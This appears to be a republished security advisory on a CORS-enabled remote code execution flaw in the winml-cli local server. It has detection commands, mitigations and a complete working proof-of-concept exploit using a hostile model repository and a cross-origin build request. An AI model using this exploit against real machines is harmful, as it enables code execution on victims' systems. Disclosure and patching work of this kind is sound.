Listen to this Post
The vulnerability resides in the `serve/cli_api.py` component of the `winml-cli` project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets `allow_origins` to a wildcard, allowing any website to interact with the endpoint. This, combined with the `–trust-remote-code` flag in `build` and `config` commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the `trust_remote_code` parameter, leading to Remote Code Execution (RCE).
`serve/cli_api.py` exposes every winml CLI command over HTTP with no authentication. That’s defensible on its own — it binds `127.0.0.1` by default, so the audience is this machine. But it also sets `allow_origins=[“”]` (cli_api.py:150, duplicated at app.py:219), and the victim’s browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.
`build` and `config` both accept --trust-remote-code, and a JSON `true` becomes that flag unfiltered. An attacker-named model repo reaches `AutoConfig.from_pretrained(…, trust_remote_code=True)` (_autoconfig.py:191), where transformers imports Python from that repo — RCE as the server user from any page the victim loads. The payload runs on import, so the command’s `exit_code: 1` is irrelevant.
DailyCVE Form:
Platform: winml-cli (pip)
Version: < 0.4.0
Vulnerability: RCE via CORS
Severity: Critical (CVSS 8.6)
Date: 2026-09-02
Prediction: Patch expected by 2026-09-08
What Undercode Say:
Check running winml-cli server curl -s http://127.0.0.1:8000/openapi.json Verify CORS wildcard curl -s -D- -o /dev/null -X OPTIONS http://127.0.0.1:8000/v1/cli/build \ -H 'Origin: https://evil.example' \ -H 'Access-Control-Request-Method: POST' 2>&1 | grep -i 'access-control-allow-origin' Check installed version pip show winml-cli | grep Version
Exploit: (Educational Purposes!)
1. Setup
git clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc
mkdir -p temp /tmp/poc/evil/pwn
python3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click
2. Hostile model repo
cat > /tmp/poc/evil/pwn/config.json <<'EOF'
{"model_type":"pwn","auto_map":{"AutoConfig":"configuration_pwn.PwnConfig"}}
EOF
cat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF'
import getpass, os, socket, time
from transformers import PretrainedConfig
with open(os.environ["PWN_MARKER"], "w") as f:
f.write(f"ARBITRARY CODE EXECUTION\ntime={time.strftime('%F %T')}\n"
f"user={getpass.getuser()}\nhost={socket.gethostname()}\npid={os.getpid()}\n")
class PwnConfig(PretrainedConfig):
model_type = "pwn"
EOF
3. Start server (Linux with PDH stub)
cat > /tmp/poc/serve.py <<'EOF'
import os, sys, types, uvicorn
m = types.ModuleType("winml.modelkit.session.monitor._pdh")
class PdhPoller:
def init(s,a,k): pass
def start(s,a,k): pass
def stop(s,a,k): pass
def poll(s,a,k): return {}
def sample(s,a,k): return {}
def close(s,a,k): pass
m.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False
sys.modules["winml.modelkit.session.monitor._pdh"] = m
from winml.modelkit.serve.cli_api import app
uvicorn.run(app, host="127.0.0.1", port=8000, log_level="warning")
EOF
cd ~/winml-poc && PWN_MARKER=~/winml-poc/temp/PWNED \
PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null &
sleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up
4. Exploit
curl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build \
-H 'Origin: https://evil.example' \
-H 'Content-Type: application/json' \
-d '{"args":{"model":"/tmp/poc/evil/pwn","output_dir":"/tmp/poc/out","trust_remote_code":true}}' \
| grep -iE '^HTTP|^access-control-allow-origin'
cat ~/winml-poc/temp/PWNED
Protection:
– Upgrade `winml-cli` to version 0.4.0 or later immediately
– Implement local firewall rules to restrict traffic to port 8000 to explicitly trusted processes
– Avoid running the winml-cli server while browsing untrusted websites
– Deploy network-level protections to alert on unexpected POST requests to `http://127.0.0.1:8000` originating from web browser processes
Impact:
Successful exploitation results in full Remote Code Execution (RCE) on the victim’s machine under the privileges of the user running the winml-cli process. This can lead to local data exfiltration, installation of persistent backdoors, or lateral movement within the user’s environment. This vulnerability primarily impacts developers and data scientists using winml-cli in local development workflows.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
